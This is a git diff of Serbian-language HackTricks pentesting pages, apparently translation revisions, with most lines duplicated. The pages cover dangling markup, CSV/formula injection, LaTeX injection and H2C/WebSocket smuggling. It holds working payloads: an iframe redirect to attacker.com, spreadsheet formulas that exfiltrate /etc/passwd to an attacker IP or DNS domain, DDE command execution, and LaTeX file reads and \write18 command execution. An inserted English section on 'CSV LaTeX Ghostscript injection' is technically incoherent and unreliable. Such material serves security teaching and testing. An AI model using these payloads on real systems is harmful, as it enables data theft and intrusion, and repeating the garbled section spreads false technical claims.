Dete dokument poseduje mogućnost pregledanja i izmene svojstva `location` svojih roditelja, čak i u situacijama prelaska preko granica izvora. Ovo omogućava ugrađivanje skripte unutar **iframe-a** koja može preusmeriti klijenta na proizvoljnu stranicu:
Dete dokument poseduje mogućnost da pregleda i modifikuje `location` svojstvo svojih roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar **iframe-a** koja može preusmeriti klijenta na proizvoljnu stranicu:
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Ovo se može ublažiti sa nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
Ovo se može ublažiti nečim poput: `sandbox=' allow-scripts allow-top-navigation'`
Isto tako, iframe može biti zloupotrebljen kako bi se procurele osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji iframe-uje sam sebe zloupotrebom HTML ubacivanja koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a**, a zatim pristupiti tom imenu iz početnog iframe-a i procureti ga.
Iframe takođe može biti zloupotrebljen da bi procurene osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
```html
<script>
function cspBypass(win) {
@ -210,38 +202,38 @@ Za više informacija pogledajte [https://portswigger.net/research/bypassing-csp-
### \<meta zloupotreba
Možete koristiti **`meta http-equiv`** da izvršite **nekoliko radnji** kao što je postavljanje kolačića: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvršavanje preusmeravanja (u ovom slučaju za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Možete koristiti **`meta http-equiv`** da izvršite **nekoliko radnji** poput postavljanja Cookie-a: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvođenje preusmeravanja (u ovom slučaju za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Ovo se može **izbeći** sa **CSP** u vezi sa **http-equiv** (`Content-Security-Policy: default-src 'self';`, ili `Content-Security-Policy: http-equiv 'self';`)
### Novi \<portal HTML tag
Možete pronaći vrlo **interesantno istraživanje** o iskorišćivim ranjivostima \<portal> oznake [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
Trenutno je potrebno omogućiti portal oznaku u Chrome-u na `chrome://flags/#enable-portals` ili neće raditi.
Možete pronaći veoma **interesantna istraživanja** o iskorišćivim ranjivostima taga \<portal [ovde](https://research.securitum.com/security-analysis-of-portal-element/).\
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
```html
<portal src='https://attacker-server?
```
### HTML Curenje
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu biti od pomoći. Provjerite ih ovdje: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Curenje
## SS-Curenja
Ovo je **kombinacija** između **dangling markup i XS-Curenja**. S jedne strane, ranjivost omogućava **ubrizgavanje HTML-a** (ali ne i JS-a) na stranicu **iste porijekla** kao i ona koju ćemo napadati. S druge strane, nećemo **izravno napasti** stranicu na koju možemo ubrizgati HTML, već **drugom stranicom**.
Ovo je **miks** između **dangling markup i XS-Curenja**. Sa jedne strane, ranjivost omogućava **ubacivanje HTML-a** (ali ne JS-a) na stranici **istog porekla** kao i ona koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na koju možemo ubaciti HTML, već **drugu stranicu**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Pretraga/XS-Curenje
## XS-Pretraga/XS-Curenja
XS-Pretraga je usmjerena na **izvlačenje informacija preko granica porijekla** zloupotrebom **napada na bočni kanal**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (s izvršenjem i bez izvršenja JS-a), poput [**CSS ubrizgavanja**](../xs-search.md#css-injection) ili [**Učitavanja slika na zahtjev**](../xs-search.md#image-lazy-loading)**.**
XS-Pretraga je usmerena na **eksfiltraciju informacija preko granica porekla** zloupotrebom **napada bočnim kanalom**. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput [**Ubacivanja CSS-a**](../xs-search.md#css-injection) ili [**Učitavanja slika na zahtev**](../xs-search.md#image-lazy-loading)**.**
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
{% endcontent-ref %}
## Lista za otkrivanje Brute-Force napada
## Lista Detekcije Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
@ -258,10 +250,10 @@ XS-Pretraga je usmjerena na **izvlačenje informacija preko granica porijekla**
Drugi načini podrške HackTricks-u:
* Ako želite vidjeti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** Provjerite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakiranje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,13 +47,13 @@ DDE ("cmd";"/C calc";"!A0")A0
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da ugrozi sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, posebno unošenjem štetnih formula u polja namenjena detaljima studenata. Napad se odvija na sledeći način:
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da ugrozi sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, tačnije unošenjem štetnih formula u polja predviđena za detalje studenata. Napad se odvija na sledeći način:
1. **Ubacivanje Zlonamernog Sadržaja:**
* Napadač podnosi formu sa detaljima studenata, ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
* Ova formula je dizajnirana da napravi hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
* Napadač podnosi formu sa detaljima studenata ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
* Ova formula je dizajnirana da kreira hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
2. **Izvoz Kompromitovanih Podataka:**
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije da izvezu podatke u CSV fajl.
* Kada se CSV fajl otvori, i dalje sadrži zlonamerni sadržaj. Ovaj sadržaj se pojavljuje kao klikabilni hiperlink u tabeli.
3. **Pokretanje Napada:**
* Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja studenata.
@ -66,9 +66,9 @@ Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje student
**Proverite** [**originalni post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **za dodatne detalje.**
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička razmena podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička Razmena Podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
* Idite na Datoteka → Opcije → Centar za poverenje → Postavke centra za poverenje → Spoljni sadržaj, i omogućite **Pokretanje servera dinamičke razmene podataka**.
* Idite na Datoteka → Opcije → Centar Poverenja → Postavke Centra Poverenja → Spoljni Sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
Kada se otvori tabela sa zlonamernim sadržajem (i ako korisnik prihvati upozorenja), sadržaj se izvršava. Na primer, da bi se pokrenula aplikacija kalkulatora, sadržaj bi bio:
```markdown
@ -85,7 +85,7 @@ LibreOffice Calc može se koristiti za čitanje lokalnih datoteka i eksfiltracij
* Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Eksfiltracija pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Eksfiltracija više od jednog reda: `=WEBSERVICE(CONCATENATE("http://<napadačeva IP adresa>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Eksfiltracija putem DNS-a (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
* Eksfiltracija DNS-a (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<napadačeva domena>"))`
### Google Sheets za eksfiltraciju podataka izvan opsega (OOB)
@ -93,21 +93,21 @@ Google Sheets nudi funkcije koje se mogu iskoristiti za eksfiltraciju podataka i
* **CONCATENATE**: Spaja nizove zajedno - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Uvozi RSS ili ATOM feed-ove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili lista - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID radne sveske]", "sheet1!A2:E2")`
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
## LaTeX Injekcija
## LaTeX ubacivanje
Obično serveri koje ćete pronaći na internetu, a koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Obično serveri koje ćete pronaći na internetu koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljeno izvršavanje komandi:
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u texmf.cnf datoteci.
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u datoteci texmf.cnf.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 listu možete pronaći u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukt `\write18{komanda}`. Komanda može biti bilo koja shell komanda. Ovaj konstrukt je obično zabranjen iz sigurnosnih razloga.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE veoma važno koristiti `--shell-restricted`.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE-a veoma važno koristiti `--shell-restricted`.
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
@ -127,7 +127,7 @@ Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
\text{\line}
\closein\file
```
#### Pročitajte višelinijski fajl
#### Pročitajte višelinijsku datoteku
```bash
\newread\file
\openin\file=/etc/passwd
@ -144,7 +144,7 @@ Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
\write\outfile{Hello-world}
\closeout\outfile
```
### Izvršenje komande <a href="#command-execution" id="command-execution"></a>
### Izvršenje komandi <a href="#command-execution" id="command-execution"></a>
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste je dobili.
```bash
@ -169,7 +169,37 @@ Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da bist
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Ako dobijete bilo kakvu LaTex grešku, razmislite o korišćenju base64 da biste dobili rezultat bez loših karaktera
## Formula CSV Document LaTeX Ghostscript Injection
---
### Attack Scenario
An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This can lead to the execution of arbitrary commands through Ghostscript when the CSV file is converted to a PDF.
### Technical Details
1. Craft a CSV file containing a formula that includes LaTeX syntax and a command injection payload.
2. Open the malicious CSV file with a spreadsheet application that supports LaTeX formula rendering.
3. Convert the CSV file to PDF using the spreadsheet application.
4. The vulnerable application will use Ghostscript to convert the PDF, triggering the command injection.
### Example
```latex
\immediate\write18{COMMAND}
```
### Mitigation
1. **Input Validation:** Validate and sanitize user input to prevent the injection of malicious commands.
2. **Update Software:** Ensure that all software, including spreadsheet applications and Ghostscript, are up to date to patch known vulnerabilities.
By following these mitigation strategies, the risk of LaTeX Ghostscript injection can be significantly reduced.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -199,7 +229,7 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -212,7 +242,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,54 +34,54 @@ Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
### Ranjive proxy serveri <a href="#exploitation" id="exploitation"></a>
### Ranjivi Proksi <a href="#exploitation" id="exploitation"></a>
Ranjivost nastaje kada, nakon ažuriranja veze, reverzni proxy prestane da upravlja pojedinačnim zahtevima, pretpostavljajući da je njegov posao rutiranja završen nakon uspostavljanja veze. Iskorišćavanje H2C Smuggling-a omogućava zaobilaženje pravila reverznog proxy-ja koja se primenjuju tokom obrade zahteva, kao što su rutiranje zasnovano na putanji, autentifikacija i WAF obrada, pod uslovom da je H2C veza uspešno uspostavljena.
Ranjivost se javlja kada, nakon ažuriranja veze, obrnuti proksi prestaje da upravlja pojedinačnim zahtevima, pretpostavljajući da je njegov posao rutiranja završen nakon uspostavljanja veze. Iskorišćavanje H2C Smugglinga omogućava zaobilaženje pravila obrnutog proksija primenjenih tokom obrade zahteva, kao što su rutiranje zasnovano na putanji, autentifikacija i WAF obrada, pod uslovom da je H2C veza uspešno uspostavljena.
#### Ranjivi proxy serveri <a href="#exploitation" id="exploitation"></a>
Ranjivi Proksiji <a href="#exploitation" id="exploitation"></a>
Ranjivost zavisi od rukovanja reverznog proxy-ja sa `Upgrade` i ponekad `Connection` zaglavljima. Sledeći proxy serveri inherentno prosleđuju ova zaglavlja tokom proxy-pass, čime inherentno omogućavaju H2C smuggling:
Ranjivost zavisi od rukovanja proksija sa `Upgrade` i ponekad `Connection` zaglavljima. Sledeći proksiji inherentno prosleđuju ova zaglavlja tokom proksi-prenosa, čime inherentno omogućavaju H2C smuggling:
* HAProxy
* Traefik
* Nuster
- HAProxy
- Traefik
- Nuster
S druge strane, ovi servisi inherentno ne prosleđuju oba zaglavlja tokom proxy-pass. Međutim, mogu biti konfigurisani nebezbedno, omogućavajući nefiltrirano prosleđivanje `Upgrade` i `Connection` zaglavlja:
Nasuprot tome, ovi servisi inherentno ne prosleđuju oba zaglavlja tokom proksi-prenosa. Međutim, mogu biti konfigurisani nebezbedno, omogućavajući nefiltrirano prosleđivanje `Upgrade` i `Connection` zaglavlja:
* AWS ALB/CLB
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
- AWS ALB/CLB
- NGINX
- Apache
- Squid
- Varnish
- Kong
- Envoy
- Apache Traffic Server
#### Iskorišćavanje <a href="#exploitation" id="exploitation"></a>
Iskorišćavanje <a href="#exploitation" id="exploitation"></a>
Važno je napomenuti da ne svi serveri inherentno prosleđuju zaglavlja potrebna za usklađenu H2C vezu. Stoga, serveri poput AWS ALB/CLB, NGINX i Apache Traffic Server, između ostalih, prirodno blokiraju H2C veze. Ipak, vredi testirati sa neusklađenom varijantom `Connection: Upgrade`, koja isključuje vrednost `HTTP2-Settings` iz `Connection` zaglavlja, jer neki backend-ovi možda ne poštuju standarde.
{% hint style="danger" %}
Bez obzira na specifičnu **putanju** određenu u URL-u `proxy_pass` (npr. `http://backend:9999/socket.io`), uspostavljena veza podrazumevano se vraća na `http://backend:9999`. Ovo omogućava interakciju sa bilo kojom putanjom unutar te interne tačke, koristeći ovu tehniku. Stoga, specificiranje putanje u URL-u `proxy_pass` ne ograničava pristup.
{% hint style="opasnost" %}
Bez obzira na specifičnu **putanju** određenu u URL-u `proxy_pass` (npr. `http://backend:9999/socket.io`), uspostavljena veza podrazumevano se vraća na `http://backend:9999`. Ovo omogućava interakciju sa bilo kojom putanjom unutar te unutrašnje tačke, koristeći ovu tehniku. Stoga, specificiranje putanje u URL-u `proxy_pass` ne ograničava pristup.
{% endhint %}
Alati [**h2csmuggler od strane BishopFox-a**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od strane assetnote-a**](https://github.com/assetnote/h2csmuggler) olakšavaju pokušaje da se **zaobiđu zaštite nametnute od strane proxy-ja** uspostavljanjem H2C veze, čime se omogućava pristup resursima zaštićenim od strane proxy-ja.
Alati [**h2csmuggler od strane BishopFox-a**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od strane assetnote-a**](https://github.com/assetnote/h2csmuggler) olakšavaju pokušaje da se **zaobiđu zaštitne mere proksija** uspostavljanjem H2C veze, čime se omogućava pristup resursima zaštićenim proksijem.
Za dodatne informacije o ovoj ranjivosti, posebno u vezi sa NGINX-om, pogledajte [**ovaj detaljan resurs**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
## Websocket Smuggling
Websocket smuggling, za razliku od kreiranja HTTP2 tunela do tačke pristupa preko proxy-ja, uspostavlja Websocket tunel kako bi zaobišao potencijalna ograničenja proxy-ja i olakšao direktnu komunikaciju sa tačkom pristupa.
Websocket smuggling, za razliku od kreiranja HTTP2 tunela do tačke pristupa preko proksija, uspostavlja Websocket tunel kako bi zaobišao potencijalna ograničenja proksija i olakšao direktnu komunikaciju sa tačkom pristupa.
### Scenario 1
U ovom scenariju, zlonamerni klijent cilja backend koji nudi javni WebSocket API zajedno sa nepristupačnim internim REST API-jem. Napad se odvija u nekoliko koraka:
1. Klijent započinje slanjem Upgrade zahteva reverznom proxy-ju sa netačnom verzijom protokola `Sec-WebSocket-Version` u zaglavlju. Proxy, ne uspevajući da validira `Sec-WebSocket-Version` zaglavlje, veruje da je Upgrade zahtev validan i prosleđuje ga backend-u.
2. Backend odgovara status kodom `426`, ukazujući na netačnu verziju protokola u `Sec-WebSocket-Version` zaglavlju. Reverzni proxy, ignorisavši odgovor backend-a, pretpostavlja spremnost za WebSocket komunikaciju i prosleđuje odgovor klijentu.
3. Kao rezultat, reverzni proxy je zaveden da veruje da je WebSocket veza uspostavljena između klijenta i backend-a, dok je zapravo backend odbio Upgrade zahtev. Bez obzira na to, proxy održava otvorenu TCP ili TLS vezu između klijenta i backend-a, omogućavajući klijentu neograničen pristup privatnom REST API-ju putem ove veze.
1. Klijent započinje slanjem Upgrade zahteva obrnutom proksiju sa netačnom verzijom protokola `Sec-WebSocket-Version` u zaglavlju. Proksi, ne uspevajući da validira `Sec-WebSocket-Version` zaglavlje, veruje da je Upgrade zahtev validan i prosleđuje ga backend-u.
2. Backend odgovara status kodom `426`, ukazujući na netačnu verziju protokola u `Sec-WebSocket-Version` zaglavlju. Obrnuti proksi, ignorisavši odgovor backend-a, pretpostavlja spremnost za WebSocket komunikaciju i prosleđuje odgovor klijentu.
3. Kao rezultat, obrnuti proksi je zaveden da veruje da je uspostavljena WebSocket veza između klijenta i backend-a, dok je zapravo backend odbio Upgrade zahtev. Bez obzira na to, proksi održava otvorenu TCP ili TLS vezu između klijenta i backend-a, omogućavajući klijentu neograničen pristup privatnom REST API-ju putem ove veze.
Pogođeni reverzni proxy serveri uključuju Varnish, koji je odbio da reši problem, i Envoy proxy verziju 1.8.0 ili starije, pri čemu su kasnije verzije promenile mehanizam nadogradnje. Drugi proxy serveri takođe mogu biti podložni.
Pogođeni obrnuti proksiji uključuju Varnish, koji nije rešio ovaj problem, i Envoy proksi verziju 1.8.0 ili starije, pri čemu su kasnije verzije promenile mehanizam nadogradnje. Drugi proksiji takođe mogu biti podložni.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
@ -89,18 +89,18 @@ Pogođeni reverzni proxy serveri uključuju Varnish, koji je odbio da reši prob
Ovaj scenario uključuje backend sa javnim WebSocket API-jem i javnim REST API-jem za proveru zdravlja, zajedno sa nepristupačnim internim REST API-jem. Napad, složeniji, uključuje sledeće korake:
1. Klijent šalje POST zahtev kako bi pokrenuo API provere zdravlja, uključujući dodatni HTTP zaglavlje `Upgrade: websocket`. NGINX, koji služi kao reverzni proxy, tumači ovo kao standardni Upgrade zahtev zasnovan isključivo na `Upgrade` zaglavlju, zanemarujući druge aspekte zahteva, i prosleđuje ga backend-u.
2. Backend izvršava API provere zdravlja, pristupajući spoljnom resursu koji kontroliše napadač i koji vraća HTTP odgovor sa status kodom `101`. Ovaj odgovor, kada ga backend primi i prosledi NGINX-u, zavodi proxy da veruje da je uspostavljena WebSocket veza zbog validacije samo status koda.
1. Klijent šalje POST zahtev kako bi pokrenuo API provere zdravlja, uključujući dodatni HTTP zaglavlje `Upgrade: websocket`. NGINX, koji služi kao obrnuti proksi, tumači ovo kao standardni Upgrade zahtev zasnovan isključivo na `Upgrade` zaglavlju, zanemarujući druge aspekte zahteva, i prosleđuje ga backend-u.
2. Backend izvršava API provere zdravlja, pristupajući spoljnom resursu koji kontroliše napadač i koji vraća HTTP odgovor sa status kodom `101`. Ovaj odgovor, kada ga backend primi i prosledi NGINX-u, zavodi proksi da veruje da je uspostavljena WebSocket veza zbog validacije samo status koda.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Upozorenje:** Složenost ove tehnike se povećava jer zahteva sposobnost interakcije sa tačkom pristupa koja može vratiti status kod 101.
Na kraju, NGINX je prevaren da veruje da postoji WebSocket veza između klijenta i backend-a. U stvarnosti, takva veza ne postoji; cilj je bio REST API provere zdravlja. Ipak, reverzni proxy održava otvorenu vezu, omogućavajući klijentu pristup privatnom REST API-ju putem nje.
Na kraju, NGINX je prevaren da veruje da postoji WebSocket veza između klijenta i backend-a. U stvarnosti, takva veza ne postoji; cilj je bio API provere zdravlja. Ipak, obrnuti proksi održava otvorenu vezu, omogućavajući klijentu pristup privatnom REST API-ju putem nje.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
